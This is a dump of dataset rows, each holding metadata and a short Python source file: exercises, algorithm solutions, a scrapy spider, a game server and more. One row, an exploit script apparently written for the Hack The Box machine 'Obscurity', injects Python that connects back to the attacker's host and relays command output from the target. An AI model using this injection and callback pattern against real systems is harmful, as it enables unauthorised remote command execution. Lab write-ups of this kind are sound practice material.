blob_id
large_string
repo_name
large_string
path
large_string
src_encoding
large_string
length_bytes
int64
score
float64
int_score
int64
detected_licenses
large list
license_type
large_string
text
string
download_success
bool
693166113140c4b02faa8db0170e1d5753b39f58
holovnya/lits
/FileExtension.py
UTF-8
1,451
3.078125
3
[]
no_license
import glob class FileExtension (object): extensionName = 'txt' extensionList = [] def __init__(self, extensionName, extensionList): self.extensionName = extensionName self.extensionList = extensionList def printFileNames (self): for extension in self.extens...
true
f7b88cc8062022dad2ef7f2e90b19f4d8434930f
yuhui-zh15/ViterbiInput
/bin/trigram.py
UTF-8
4,967
2.75
3
[]
no_license
#coding=utf-8 # Author: Zhang Yuhui # E-mail: yuhui-zh15@mails.tsinghua.edu.cn # Date: 20170408 import sys import os import json import math # Viterbi Algorithm def viterbi(obs, pin, start_p_bi, trans_p_bi, start_p_tri, trans_p_tri, emit_p, lamda): V = [{}] path = {} # Initialize Base Cases (t == 0) ...
true
eec5df2ab31ee97f8b5e4ba137b64c1cb03e363c
westqzy/leetcodes
/1317.将整数转换为两个无零整数的和.py
UTF-8
416
3.125
3
[]
no_license
# # @lc app=leetcode.cn id=1317 lang=python3 # # [1317] 将整数转换为两个无零整数的和 # # @lc code=start import random class Solution: def getNoZeroIntegers(self, n: int) -> List[int]: while True: ran = random.randint(1,n) ran2 = n - ran if "0" not in str(ran) and "0" not in str(ran2)...
true
06f46c947332aca02ce536a7373608759e50d5eb
Prashantietedelhi/datastrucures
/Rearrange array such that even positioned are greater than odd.py
UTF-8
232
3.296875
3
[]
no_license
arr=[1, 3, 2, 2, 5] for i in range(1,len(arr)): if i%2==0: if arr[i]>arr[i-1]: arr[i],arr[i-1] = arr[i-1],arr[i] else: if arr[i]<arr[i-1]: arr[i],arr[i-1] = arr[i-1],arr[i] print(arr)
true
f6445483d9c9a1e1489f6f852fd979dfb877c01f
ARLM-Attic/pptx-canvas
/demo.py
UTF-8
667
2.625
3
[ "MIT" ]
permissive
from pptx import Presentation from pptx.util import Length, Pt from canvas import Canvas from pprint import pprint if __name__ == '__main__': prs = Presentation() blank_slide_layout = prs.slide_layouts[6] slide = prs.slides.add_slide(blank_slide_layout) canvas = Canvas(slide, prs.slide_height, prs.s...
true
4726baf75933885cc8127fa9c1f118981be41dc0
momalle313/Paradigms-Final-Project
/Server.py
UTF-8
2,881
3.328125
3
[]
no_license
### Programming Paradigms Final Project ### from twisted.internet.protocol import Factory from twisted.internet.protocol import Protocol from twisted.internet.defer import DeferredQueue from twisted.internet import reactor # Global Variables player_num = 0 # Keeps track of connections, only allows 2 PORT = 40087 #...
true
a2a03a60607a4b428af1f9dc46ec87e499b053d5
Iswaryadevi98/guvi
/codeketa/nowithindex.py
UTF-8
99
3.078125
3
[]
no_license
p=int(input()) l1=list(map(int,input().strip().split()))[:p] for i in range(0,p): print(l1[i],i)
true
b2c6c99696dce5089c5c5e1ac9bc9c41fcbf08da
alltheplaces/alltheplaces
/locations/spiders/vitalia.py
UTF-8
2,325
2.515625
3
[ "CC0-1.0", "MIT" ]
permissive
import json import re import scrapy from locations.hours import OpeningHours from locations.items import Feature DAY_MAPPING = { "monday": "Mo", "tuesday": "Tu", "wednesday": "We", "thursday": "Th", "friday": "Fr", "saturday": "Sa", "sunday": "Su", } class VitaliaSpider(scrapy.Spider): ...
true
974ee84c7ec05304712db4bea2a543728fbe03e0
bobchi/learn_py
/pandas_demo/pandas_demo.py
UTF-8
425
3.359375
3
[]
no_license
import pandas pd = pandas.read_csv('../csv/fund.csv', dtype={'编码': pandas.np.str_}) # 读取csv,编码列以字符串输出 ret = pd.sort_values(by='编码', ascending=False) # NAV列排序,根据倒排序,即降序 ret = ret[['编码', '名称', 'NAV']][0:5].to_csv('./csv/fund_5.csv', encoding='utf-8') # 指定列指定行数重新生成csv print(ret) # 等同于ret[0:4] 从头开始显示4条
true
7444f318e58a0f19d9c45bb88a6e55cf52eac4d4
stefan1123/newcoder
/数据流中的中位数.py
UTF-8
1,273
4.21875
4
[]
no_license
""" 题目描述 如何得到一个数据流中的中位数?如果从数据流中读出奇数个数值,那么中位数就是所有数值排序 之后位于中间的数值。如果从数据流中读出偶数个数值,那么中位数就是所有数值排序之后中间两 个数的平均值。我们使用Insert()方法读取数据流,使用GetMedian()方法获取当前读取数据的 中位数。 代码情况:accepted note:self.GetMedian()必须有参数,否则报错,坑! """ class Solution: def __init__(self): self.data = [] def Insert(self, num): ...
true
3d59814cd8d4c6d2a9fc0c9ed16e2cddfe7045f4
psturmfels/adversarial_faces
/attacks/cw_l2.py
UTF-8
5,664
3.09375
3
[ "MIT" ]
permissive
""" Implements the L2 version of the Carlini-Wagner attack. Ported into TensorFlow 2.0 from: https://github.com/carlini/nn_robust_attacks/blob/master/li_attack.py and https://github.com/bethgelab/foolbox/blob/3999d4334969b7d3debdf846f3f0965eb9032013/foolbox/attacks/carlini_wagner.py """ import tensorflow as tf import ...
true
527f286ed2014af53213bca01b9f6050407b8054
hermannsblum/disco_data_challenge
/ydc/tests/test_distances.py
UTF-8
3,688
2.8125
3
[]
no_license
from unittest import TestCase from ydc.tools import distances, import_data # from ydc.tools import distances_memcells # import time class TestDistances(TestCase): def setUp(self): super(TestDistances, self).setUp() self.businesses = import_data.import_businesses()[:20] def test_neighbours(se...
true
3ff1395ec153cb1478cfb6fe8933dd9ae3a058de
vitoriabf/FC-Python
/Lista 1/Ex3.1.py
UTF-8
332
3.5
4
[]
no_license
nPar = [] nImpar = [] n = 1 while n != 0: n = int(input('digite um numero: ')) if n == 0: break if n % 2 == 0: nPar.append(n) else: nImpar.append(n) print (f'Qtd de par: {len(nPar)} \nQtd de impar: {len(nImpar)}') if len(nPar) != 0: print(f'Media de num par: {sum(nPar)/...
true
8ddb44cf5f8632544629ec1735d35d544feca35b
Lwk1071373366/zdh
/S20/第三次作业/client端.py
UTF-8
374
2.796875
3
[]
no_license
import json import struct import socket sk = socket.socket() sk.connect(('127.0.0.1',9001)) path = input('请输入网址:') str_dic = json.dumps(path) bytes_dic = str_dic.encode('utf-8') len_dic = len(bytes_dic) bytes_len = struct.pack('i',len_dic) sk.send(bytes_len) sk.send(bytes_dic) with open(path,'rb') as f : content ...
true
f03ddf98f8bcb6ca7ad48f0433f7bc9a28a5b5a4
phaustin/e213_2019
/e213_utils/demos/python/demo_bmatrix.py
UTF-8
1,738
2.578125
3
[]
no_license
# --- # jupyter: # jupytext: # cell_metadata_filter: all # notebook_metadata_filter: all # text_representation: # extension: .py # format_name: percent # format_version: '1.2' # jupytext_version: 1.0.0 # kernelspec: # display_name: Python 3 # language: python # name: ...
true
b2c3ba740989f72a078df3be746f9f2fb81ed119
LBrito/100-days
/python/high-scores/high_scores.py
UTF-8
746
3.375
3
[]
no_license
class HighScores(object): def __init__(self, scores): self.scores = scores self.top = sorted(scores, reverse=True)[:3] def latest(self): return self.scores[-1] def personal_best(self): return max(self.top) def personal_top(self): return self.top def is_la...
true
cde72b1e2c5b2b7f618f71033bcfdc00d6baada7
callmebg/arcade
/arcade/sound.py
UTF-8
4,250
3.21875
3
[ "MIT" ]
permissive
""" Sound library. """ from pathlib import Path from typing import Union _audiolib = None try: import arcade.soloud.soloud as soloud _audiolib = soloud.Soloud() _audiolib.init() _audiolib.set_global_volume(10) except Exception as e: print(f"Warning, can't initialize soloud {e}. Sound support wil...
true
d3c290219ac75b7334ea467d66588e527dea0df9
NilsHasNoGithub/graph_net_traffic_data
/utils.py
UTF-8
2,030
2.953125
3
[]
no_license
import orjson import pickle from typing import AnyStr, Union, Any import torch from dataclasses import dataclass from math import sqrt from multiprocessing import cpu_count # DEVICE = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") DEVICE = torch.device("cpu") # torch.set_num_threads(cpu_count()) def ...
true
ced93f39bf1f1500fd659da07bfe8975e14513f3
CodingPippo/TigerJython-Gturtle
/Aufgabe 2.5.5c copy.py
UTF-8
282
2.5625
3
[]
no_license
from gturtle import * def segment(s,w): repeat 68: forward(31) right(141) forward(112) right(87.19) forward(115.2) right(130) forward(186) right(121.43) makeTurtle() hideTurtle() segment(200,150)
true
a2ca18e45618d9db918d24b6f5c1d2794db136bb
JLucasfn/loja-basica-python
/loja.py
UTF-8
3,103
3.484375
3
[]
no_license
listagem = ('Lápis', 1.74, 'Canetas', 22.49, 'Borracha', 1.99, 'Caderno', 19.99, 'Estojo', 24.99, 'Transferidor', 4.19, 'Compasso', 9.99, 'Mochila', 149.99, 'Livro', 34.94) Lapis = 1.74 Canetas = 22.49 Borracha = 1.99 Cader...
true
eacf1cb1d87ecc68688ef195e8df13a28a6ebef7
paetztm/python-playground
/python-beyond-the-basics/generators/gensquares.py
UTF-8
318
3.65625
4
[]
no_license
def gen_squares(max_root): for n in range(max_root): yield n ** 2 squares = gen_squares(5) print(next(squares)) print(next(squares)) print(next(squares)) print(next(squares)) print(next(squares)) print(next(squares)) print(next(squares)) print(next(squares)) # for square in squares: # print(square)
true
fe600058b1fee086e6f28cbfcb8d5d93a5b8cd2f
duanwandao/PythonBaseExercise
/Day03(循环及字符串)/Test04.py
UTF-8
595
3.625
4
[]
no_license
""" * *** ***** ******* * i = 0 4 *** i = 1 3 ***** i = 2 2 ******* i = 3 1 ***** *** * """ line = 4 for i in range(0,line): # 打印每一行中的" " for k in range(line-i): print("-", end="") #打印每一行中"*" for j in range(2*i+1): print("*",end="")...
true
cde484c1afdbe2fbdc01dcd51672846095ee43dd
LLNL/fudge
/fudge/outputChannel.py
UTF-8
25,271
2.859375
3
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
# <<BEGIN-copyright>> # Copyright 2022, Lawrence Livermore National Security, LLC. # See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: BSD-3-Clause # <<END-copyright>> """ In GNDS, an output channel (dubbed outputChannel) contains all outgoing products from either a reaction (also called an i...
true
0d5c3a2a6f41081e247c459d25de865809b0e937
pombredanne/dataprep
/dataprep/parse/model/core.py
UTF-8
1,208
2.90625
3
[ "MIT" ]
permissive
from typing import List, Tuple, Union from dataprep.parse.model.metadata import PreprocessingMetadata def with_empty_metadata(tokens: Union[List[str], str]) -> Tuple[Union[List[str], str], PreprocessingMetadata]: return tokens, PreprocessingMetadata() class ParsedToken(object): def with_full_word_metadata(...
true
58a309d6eacbc243a46813f56f8e077efa13c479
simonhuang/LeetCode
/other_algorithms/hash_set.py
UTF-8
1,056
3.546875
4
[]
no_license
class HashSet: collision_rate = 0.3 def __init__(self): self.size = 10 self.count = 0 self.buckets = [[] for i in range(self.size)] def insert(self, val): index = self.hash(val) bucket = self.buckets[index] if val in bucket: return bucket.append(val) self.count = self.count + 1 if float(self....
true
7779addc5b84957a5ae78c0615720339e0a888f0
malej/FUNWAVE-TVD-GUI
/pyFiles/PrincipalTab_1.py
UTF-8
8,061
3.0625
3
[]
no_license
import ipywidgets as widgets from IPython.display import Image from traitlets import link ########################################################## #### Tabs for Principal Tab 1: Bathymetry development #### ########################################################## space_box = widgets.Box(layout=widgets.Layout(heigh...
true
8128f36b13c9092d1c16d0627ab8375c6d617e90
Orcuslc/CS-Courses
/Berkeley CS61A/discussion/disc5.py
UTF-8
990
3.640625
4
[]
no_license
True False True [1, 2, 3, 4] [1, 2, 3, 4] [1, 42, 3, 4] False [1, 42, 3, 4, 5] [1, 42, 3, 4] False def remove_all(el, lst): i = len(lst)-1 while i >= 0: if lst[i] == el: lst.pop(i) i -= 1 def square_elements(lst): for i in range(len(lst)): lst[i] = lst[i]**2 "Dumbledore is awesome!" "Dumbledore is awesom...
true
efde9fb20c81ea1be8239049be466f8247d5da5d
ahlusar1989/various
/xustamp.py
UTF-8
1,534
2.796875
3
[]
no_license
""" xustamp.py - strip timestamp values from uniface xml Author: Niall <hollerith@gmail.com> Date: 7 Oct 2005 """ import re import os import sys import time def main(): if len(sys.argv) > 1: path = sys.argv[1] else: # Test path = 'C:\\Program Files\\Compuware\\Uniface 9.3.01\\pro...
true
b3a8e0e148d2b6e0018e3d1ccdd700c5b9007300
AdriGeaPY/programas1ava
/zprimero/funciones/f3.py
UTF-8
293
3.328125
3
[]
no_license
l = [] def Separar_Listas(listas): pares = [] senar = [] for i in listas: if i % 2 == 0: pares.append(i) pares.sort elif i % 2 != 0: senar.append(i) senar.sort return senar, pares for i in range(10): l.append(int(input("Añade un numero: "))) print(Separar_Listas(l))
true
b9be1f76720d6a07f7272b5741404f267c5e0f0f
jmiralles/HackerrankSolutions
/10-days-statistics/Day-03-Cards-of-the-same-suit.py
UTF-8
237
2.671875
3
[]
no_license
# https://www.hackerrank.com/challenges/s10-mcq-5/problem “””” Task You draw 2 cards from a standard 52-card deck without replacing them. What is the probability that both cards are of the same suit? “”” #result: 12/51
true
1757aa42c9876ef0349533f071490db323b8b4a4
htw-imi-info2/python-programming-exercises
/longestword.py
UTF-8
287
3.015625
3
[]
no_license
words = open('data/sowpods.txt') max = 0 max_count = 0 for line in words: l = len(line.strip()) if l == max: print(line) max_count = max_count + 1 if l > max: print(line) max = l max_count = 0 print("max: ", max) print("max_count: ",max_count)
true
2da6bac3b94508702bb24c12fbc26a0c05afdf89
payneal/PythonMyAdmin
/cursesPostgres.py
UTF-8
1,462
2.5625
3
[]
no_license
#test script to connect to postgres db #need to execute as the user that has permission for the db #installation instructions for postgres and world db: # sudo apt-get install postgresql postgresql-contrib # sudo -u postgres psql postgres # download world sample database from http://pgfoundry.org/projects/dbsamples/ #...
true
599272ca00bc49aba150b6b3f767c431f668c181
MarkMiso/aoc2020.py
/day_16/script.py
UTF-8
3,306
3.0625
3
[]
no_license
## general def find_invalid(tickets: list[int], rules: dict): excluded = [] to_remove = [] for ticket in tickets: valid = True for number in ticket: tmp = False for rule in rules.values(): for interval in rule: tmp = tmp or (number ...
true
88dbdd9b915ef7dee09e43c6d24de7dc2cdfeaa3
ritchie-xl/LintCode-Ladder-Nine-Chapters-Python
/ch3/insert_node_in_a_BST.py
UTF-8
881
3.5
4
[]
no_license
__author__ = 'lei' # Definition of TreeNode: class TreeNode: def __init__(self, val): self.val = val self.left, self.right = None, None class Solution: """ @param root: The root of the binary search tree. @param node: insert this node into the binary search tree. @return: The root ...
true
2495c458796045212ea053949b404937a3e2735b
adam147g/ASD_exercises_solutions
/Dynamic Programming/10_optimal_strategy_game_pick.py
UTF-8
896
3.921875
4
[ "MIT" ]
permissive
# Given list of values. We play a game against the opponent and we always grab # one value from either left or right side of our list of values. Our opponent # does the same move. What is the maximum value we can grab if our opponent # plays optimally, just like us. def optimal_values(V): T = [[0]*(len(V)+1) for ...
true
240da11bde3f0a8ab25fa8acd0dabcb7d39efa5e
noorulameenkm/DataStructuresAlgorithms
/BinaryTree/preOrderTraversal.py
UTF-8
1,452
4
4
[]
no_license
import queue class Node: def __init__(self, val): self.data = val self.left = None self.right = None def recursivePreOrder(root): if root: print(root.data, end=' ') recursivePreOrder(root.left) recursivePreOrder(root.right) def iterativePreOrder(root): if...
true
1a46013d7e2f2dae10520d2adedcf4461a76f625
killthrush/pybald
/pybald/core/middleware/errors.py
UTF-8
3,414
2.515625
3
[ "BSD-3-Clause", "MIT" ]
permissive
#!/usr/bin/env python # encoding: utf-8 from webob import Response, exc from pybald.core.templates import render as template_engine import urllib import logging console = logging.getLogger(__name__) class ErrorMiddleware: ''' Handles exceptions during web transactions. Implemented as WSGI middleware, th...
true
2365cf4aaf8dee6fb231c7f0106bd363f64da46b
0xlearner/Scraping
/spain_postalcodes/spain_postcodes.py
UTF-8
2,891
2.984375
3
[]
no_license
# import packages import requests from bs4 import BeautifulSoup # target URL url = 'https://en.wikipedia.org/wiki/List_of_postal_codes_in_Spain#10000%E2%80%9310999:_C%C3%A1ceres' # make HTTP GET request to target URL response = requests.get(url) # parse HTML response content = BeautifulSoup(response.text, 'lxml') #...
true
3c468680fb7f3e216747e601b06c015b3309a99a
efitzpatrick/NTC-Camp-HH
/list_navigation_challenge.py
UTF-8
165
2.90625
3
[]
no_license
my_dictionary = {"ellie": {"address": ["9009 westward", "UT"], "phone number": "646-979-0974"}} print(my_dictionary["ellie"]["address"][1]) #Good Job! You did it!
true
0d162a7e54f823433959b44f4042983fb4d2e126
programing-language/PythonProgramming-FromIntroductionToPractice
/partI.basic.knowledge/chapterX.file_and_exception/sectionI.read_data_from_file/file_reader3.py
UTF-8
197
3.15625
3
[]
no_license
file_path = '../docs/pi_digits.txt' with open(file_path) as file_object: contents = file_object.read() # rstrip()删除(剥除)字符串末尾的空白。 print(contents.rstrip())
true
afec9888cc4e68d544127cca4dd7cf5e68a507ca
LucasManza/computer-vision_manzanelli-brieu
/src/practice/contours/contours_ex3_boundingReact.py
UTF-8
2,813
3.15625
3
[]
no_license
import cv2 red_color = (0, 0, 255) blue_color = (255, 0, 0) green_color = (0, 255, 0) def generate_binary_image(image, threshold: int): gray_frame = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) ret, binary = cv2.threshold(gray_frame, threshold, 255, cv2.THRESH_BINARY) return binary def reduce_noise(binary...
true
fc0f8a13243caa32f587b4883a03e0a4086295ac
maptastik/rowsdower
/rowsdower_gui.py
UTF-8
2,278
2.59375
3
[ "MIT" ]
permissive
import PySimpleGUI as sg from rowsdower import rowsdower layout = [ [ sg.Text('Authentication', text_color = "#A9C13F", background_color = "#003242", font = 'Arial 16') ], [ sg.Text('Portal URL', size = (10, 1), text_color = "#ECECEC", background_color = "#003242"), sg.InputText(key = "portal",...
true
65621b2026f48412d97c320c7dd738117241dba6
pawlos/Timex.Emu
/tests/tests_nop.py
UTF-8
1,520
2.53125
3
[]
no_license
import tests_suite import unittest from cpu import CPU from rom import ROM class tests_nop(unittest.TestCase): def test_nop_does_not_change_hl(self): cpu = CPU(ROM(b'\x00')) cpu.HL = 0x9999 cpu.readOp() self.assertEqual(0x9999, cpu.HL) def test_nop_does_not_change_de(self): ...
true
300ba145609def62d48fe81f02461f3e5e478927
Aasthaengg/IBMdataset
/Python_codes/p00002/s917014373.py
UTF-8
209
2.6875
3
[]
no_license
while True: try: input_line = input() if input_line == '': break else: print(len(str(sum(map(int, input_line.split()))))) except EOFError: break
true
8cf83c144a11841110ce5c73f8296ecfeb3ab8f4
yoshinori77/atcoder
/2-1-2_LakeCounting/ARC037_B.py
UTF-8
582
2.984375
3
[]
no_license
def dfs(v, p): global closed_path seen[v] = True for next_v in g[v]: if next_v == p: continue if seen[next_v]: closed_path = True continue dfs(next_v, v) N, M = map(int, input().split()) g = [[] for _ in range(N+1)] seen = {i: False for i in ra...
true
05233a475e07d186139489b2a24a0f73928e51bd
Kebniss/Interview-preparation
/circular array rotation.py
UTF-8
520
2.765625
3
[]
no_license
with open("rotation.txt") as f: content = f.readlines() n, k, q = map(int, content[0].split(' ')) array = map(int, content[1].split(' ')) if (k/n > 0): c = k/n k = k - (c*n) x = n - k k_rotated = list(array) for i, val in enumerate(array): try: i_new = i-x k_rotated[i_new] = val ...
true
022f0957332f84f611fb5803f94c8dfe60a58bb3
pxblx/programacionPython
/examen01/Ejercicio01.py
UTF-8
978
4.75
5
[]
no_license
""" Ejercicio 1 Haz un programa en Java y Python que calcule el combinatorio de dos numeros. Si hay un error en la introduccion debe indicarlos. """ # Pedir los valores de N y M n = int(input("Introduce N: ")) m = int(input("Introduce M: ")) while n < m: n = int(input("Introduce N: ")) m = int(input("Introduc...
true
557d2f64dc60d55504f96c845d87af7642c9a103
thainadlopes/ExerciciosURI
/1036.py
UTF-8
320
3.640625
4
[]
no_license
x = input().split() a, b, c = x a = float(a) b = float(b) c = float(c) if a == 0.0 or (b ** 2 - 4 * a * c) < 0: print('Impossivel calcular') else: d = (b**2 - (4*a*c)) d1 = d ** (1/2) t1 = (- b + d1)/(2*a) t2 = (- b - d1)/(2*a) print("R1 = %.5f" %t1) print("R2 = %.5f" %t2)
true
1d1f71e94bc3c45700be363c1273e369e7026770
BruceHi/leetcode
/month7/patternMatching.py
UTF-8
3,689
3.828125
4
[]
no_license
# 模式匹配 # 1 <= len(pattern) <= 1000 # 0 <= len(value) <= 1000 import re class Solution: # 失败 # def patternMatching(self, pattern: str, value: str) -> bool: # m, n = len(pattern), len(value) # if not n and m > 1: # return False # if not n and m == 1: # return Tru...
true
463c9a06340f7b4fb8293c05031b8dc27eae8c48
lrtz-v/Tutorial
/ML/paddle_test/1.start/2.dongtaitu/main.py
UTF-8
3,479
3.578125
4
[]
no_license
import paddle import paddle.nn.functional as F import numpy as np print(paddle.__version__) """ 基本用法 在动态图模式下,你可以直接运行一个飞桨提供的API,它会立刻返回结果到python。不再需要首先创建一个计算图,然后再给定数据去运行。 """ a = paddle.randn([4, 2]) b = paddle.arange(1, 3, dtype='float32') print(a) print(b) c = a + b print(c) d = paddle.matmul(a, b) print(d) "...
true
9d51bee23b1359e340b86cd4076b9ecf025c2e97
tlima1011/python3-curso-em-video
/ex003.py
UTF-8
595
3.6875
4
[]
no_license
from calculadora import somar, subtrair, mutliplicar, dividir while True: numero1 = str(input('Digite um valor.: ')) numero2 = str(input('Digite outro valor.: ')) if numero1.isnumeric() and numero2.isnumeric(): numero1 = int(numero1) numero2 = int(numero2) print(somar(numero1,...
true
67d2429836af61679c5bc255cbb85647588f8a1a
knqyf263/johoriko_poster_2013
/cube.py
UTF-8
2,919
3.28125
3
[]
no_license
#! /usr/bin/python from copy import deepcopy import sys class Cube: def __init__(self, Array): self.Array = Array def print_cube(self): write = sys.stdout.write print("+----+") for i in range(0,4): write("|") for j in range(0,4): write(self.Array[i][j]) print "|" print "+----+----+----+--...
true
ce5d42a1b093996dd6142806083acf14ab91f67b
snafus/weather-getter
/weather_getter/influxwriter.py
UTF-8
1,468
2.65625
3
[]
no_license
from influxdb import InfluxDBClient from contextlib import contextmanager @contextmanager def get_client(**kwargs): """ return the client for influxdb. params is a dict containing keys: 'host' - hostname 'port' - port Only simple non-username, non-ssl is implemented sofar ...
true
a05a385c23fcc63f90ae1ce1603e4b1efab05baf
algo2019/algorithm
/backtest/myalgotrade/mapreduce/__init__.py
UTF-8
970
2.640625
3
[]
no_license
from pyalgotrade.barfeed import OptimizerBarFeed class FeedForPickle(object): def __init__(self, feed_dict): self.instruments_dict = {} self.bars_dict = {} self.frequency_dict = {} for bar_name, bar_feed in feed_dict.items(): bars_value_list = [] for datetim...
true
0391ac6437667280f0d1f0a303080031be854f86
ravikumarvj/DS-and-algorithms
/arrays/simple_arrays/zero_sum.py
UTF-8
612
3.71875
4
[]
no_license
#### COPIED ### VERIFIED def zerosum_subarray(array): s = set() s.add(0) sum = 0 for num in array: sum += num print(sum) if sum in s: return True else: s.add(sum) return False def print_all_zero_sum(array): s = dict() s[0] = -1 ...
true
6264ff6d197b5fc7add110297d7a5bec6f0494f5
uqjwen/attended-text-ranking-tensorflow
/model.py
UTF-8
2,507
2.609375
3
[]
no_license
import tensorflow as tf from keras.models import Sequential from keras.layers import Dense, Dropout, Activation from keras.layers import Embedding from keras.layers import LSTM from keras.layers import Convolution1D, MaxPooling1D class Model(): def __init__(self, config): self.left = tf.placeholder(tf.float32, [N...
true
92aa3fea356ec44a769f0d07fda0de08f1b19fac
darsovit/pyRayTracerChallenge
/tests/features/steps/transformations.py
UTF-8
7,408
3.03125
3
[ "MIT" ]
permissive
#! python # # transformations steps from behave import given, then from renderer.transformations import Translation, Scaling, Rotation_x, Rotation_y, Rotation_z, Shearing, ViewTransform from renderer.bolts import Point,Vector from math import sqrt, pi from renderer.matrix import IdentityMatrix @given(u'{var:w} ← tran...
true
ddf4cd8569c3b5e751950c69755fb0c06ba327f6
haikevyl/nguyenvanhai.info
/getlink/getnhac.py
UTF-8
1,656
2.6875
3
[]
no_license
import webbrowser import requests print("Getlink Tool By Hai Nguyen") options = """ ============================================== 1: NhacCuaTui.com 2: zingmp3.vn ============================================== """ print(options) select = input("typing option: ") if select == "1": while True: url = input("paste url ...
true
1a28b452ba2766aa906bdd86e4c7a7e66e83992c
richien/API_iReporter
/api/tests/test_auth_route.py
UTF-8
7,977
2.515625
3
[]
no_license
import unittest import json from api import app from api.models.database import userdb_api class TestAuthenticationRoutes(unittest.TestCase): def setUp(self): self.app_tester = app.test_client() self.input_data = { "firstname": "Henry", "lastname": "Jones", "ot...
true
566c72d99c6ac7ba4e566c859226569db3264522
ygarrot/N-puzzle
/source/Node.py
UTF-8
3,039
3.25
3
[ "MIT" ]
permissive
#!/usr/bin/env python3 import config from heuristics import * from math import sqrt import numpy as np import copy def LEFT(i): return i - 1 def RIGHT(i): return i + 1 def UP(i, puzzle_size): return i - puzzle_size def DOWN(i, puzzle_size): return i + puzzle_size def chunks(l, n): return [l[i:...
true
2ea343cab1d6a9e0ade221bd4e99b794a5951fc0
MisaelAugusto/computer-science
/programming-laboratory-I/nprk/mais_velho.py
UTF-8
447
3.234375
3
[ "MIT" ]
permissive
nome1 = raw_input() dia1 = int(raw_input()) mes1 = int(raw_input()) ano1 = int(raw_input()) nome2 = raw_input() dia2 = int(raw_input()) mes2 = int(raw_input()) ano2 = int(raw_input()) if ano1 == ano2: if mes1 == mes2: if dia1 == dia2: print "nenhuma" else: if dia1 > dia2: print nome2 else: print ...
true
4f87fe01669c957448d781a0ba9b214b627eba59
GongFuXiong/leetcode
/old/t20190705_permuteUnique/permuteUnique.py
UTF-8
886
3.21875
3
[]
no_license
#!/usr/bin/env python # encoding: utf-8 ''' @author: KM @license: (C) Copyright 2013-2017, Node Supply Chain Manager Corporation Limited. @contact: yangkm601@gmail.com @software: garner @file: strStr.py @time: 2019/7/06 @rel: https://leetcode-cn.com/problems/permutations-ii/ @url: @desc: 47. 全排列 II ''' class Sol...
true
dbbbcbd1975a4e96ce861e4929592549819d4b5f
hackernese/HTB-Writeup
/Obscurity-10.10.10.168/exploit.py
UTF-8
1,742
2.828125
3
[ "MIT" ]
permissive
import socket, os, sys, threading, readline if len(sys.argv)<2: # Parsing arguments print("Too few arguments.") print("Usage : exploit.py <tun0>") exit() payload1 = "a ';s=socket.socket();s.connect(('{}',{}));s.sendall(subprocess.check_output({})+b'\b');' a\na" # Payload that we will send to the target PO...
true
897e8d9d68863933d42604b79a0be3f54e08c92b
MiroK/fenics_ii
/xii/meshing/gmsh_interopt.py
UTF-8
6,050
2.640625
3
[ "MIT" ]
permissive
from functools import reduce import dolfin as df import numpy as np import operator import gmsh import ufl def build_mesh(vertices, cells, cell_type): '''Mesh defined by its vertices, cells''' cell_tdim = cell_type.topological_dimension() gdim = cell_type.geometric_dimension() # Consistency assert...
true
434e454f2c98287d54e16e3ac63f68e86108c168
dangduylan/dangduylan-homework-c4e30
/session02/factorialcal.py
UTF-8
112
4.0625
4
[]
no_license
n = int(input('Enter number:')) f = 1 for i in range(1,n+1): f = f*i print("Factorial of the number is:",f)
true
76a4e51e0da5b754a9d8f04ae3c5427f0e092338
nikitadotexe/lessons
/ML/picture_face_detection.py
UTF-8
827
2.875
3
[]
no_license
# pip install opencv-python import cv2 # Загрузим обученные данные trained_face_data = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml') # загрузим фото img = cv2.imread('images/1.jpg') # сделаем фото чёрно-белым black_and_white_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) face_co...
true
2875b574c45166fc555e284326f97b7dee25d78f
Shaigift/Python-Practice-2
/Python Basics/Task Fourty-seven.py
UTF-8
38
3.40625
3
[]
no_license
x = 30 y = 20 print(f'{x} + {y} = 50')
true
023824b2ba3f1c29af15771fc344a33a1b071b96
mts88/raspfindfriends
/wifiscan.py
UTF-8
318
2.796875
3
[]
no_license
from who_is_on_my_wifi import * import time import logging def scan(): devices = who() for d in devices: print(d) # Press the green button in the gutter to run the script. if __name__ == '__main__': print("Start scanning") while 1: scan() time.sleep(10) print(" ")
true
1c5a42953251cfd1180f5b5c349dbaa9462f8d1a
cmmolanos1/holbertonschool-machine_learning
/unsupervised_learning/0x02-hmm/4-viterbi.py
UTF-8
2,327
3.3125
3
[]
no_license
#!/usr/bin/env python3 """ Markov chain """ import numpy as np def viterbi(Observation, Emission, Transition, Initial): """performs the forward algorithm for a hidden markov model. Args: Observation (np.ndarray): shape (T,) that contains the index of the observation...
true
31c1fb8f025bbb0aeb509594d04dac6915f81c27
jaceyy-schow/cs4300
/RubiksCube/grader/readCubes.py
UTF-8
800
3.140625
3
[]
no_license
def main(): def readCubes(filename): fin = open(filename, "r") cubestring = [] for line in fin: line = line.strip() print(line) cubestring.append(line) fin.close() return cubestring def writeCubes(filename, cubes)...
true
b34c46caa7ffda5613b457c262925c47cfdf08b3
alexdalton/KnowEng
/src/ExampleSampler.py
UTF-8
4,859
2.671875
3
[]
no_license
from helpers import helpers import numpy as np from random import sample, random class ExampleSampler: def __init__(self, dict_X, dict_y, logger): self.helpersObj = helpers(logger) self.logger = logger self.dict_X = dict_X self.dict_y = dict_y def randomUnderSample(self, keys,...
true
99281c7d3579e66cf0420328eb6bdd63f136a055
chawkinsuf/ballbot
/Compass.py
UTF-8
4,941
2.65625
3
[ "MIT", "BSD-3-Clause" ]
permissive
import ctypes, atexit, math, time import RPi.GPIO as GPIO from Adafruit_I2C import Adafruit_I2C # ============= Module for ============= # HMC5883L : 3-Axis Digital Compass # ====================================== class Compass: Address = 0x1e class Register: ConfigA = 0x00 ConfigB = 0x01 Mode = 0x...
true
236a8896b68e22ead2450f3d3071e505d46619e8
Jane11111/Leetcode2021
/084_3.py
UTF-8
836
3.03125
3
[]
no_license
# -*- coding: utf-8 -*- # @Time : 2021-05-30 13:49 # @Author : zxl # @FileName: 084_3.py class Solution: def largestRectangleArea(self, heights ) -> int: st = [] ans = 0 for i in range(len(heights)): height = heights[i] while len(st)>0 and height<heights[st...
true
d7ba6493ea1af0755a30a03c8fafe7a277700bae
rdgao/SpaceRecon
/nlds/plotting.py
UTF-8
1,622
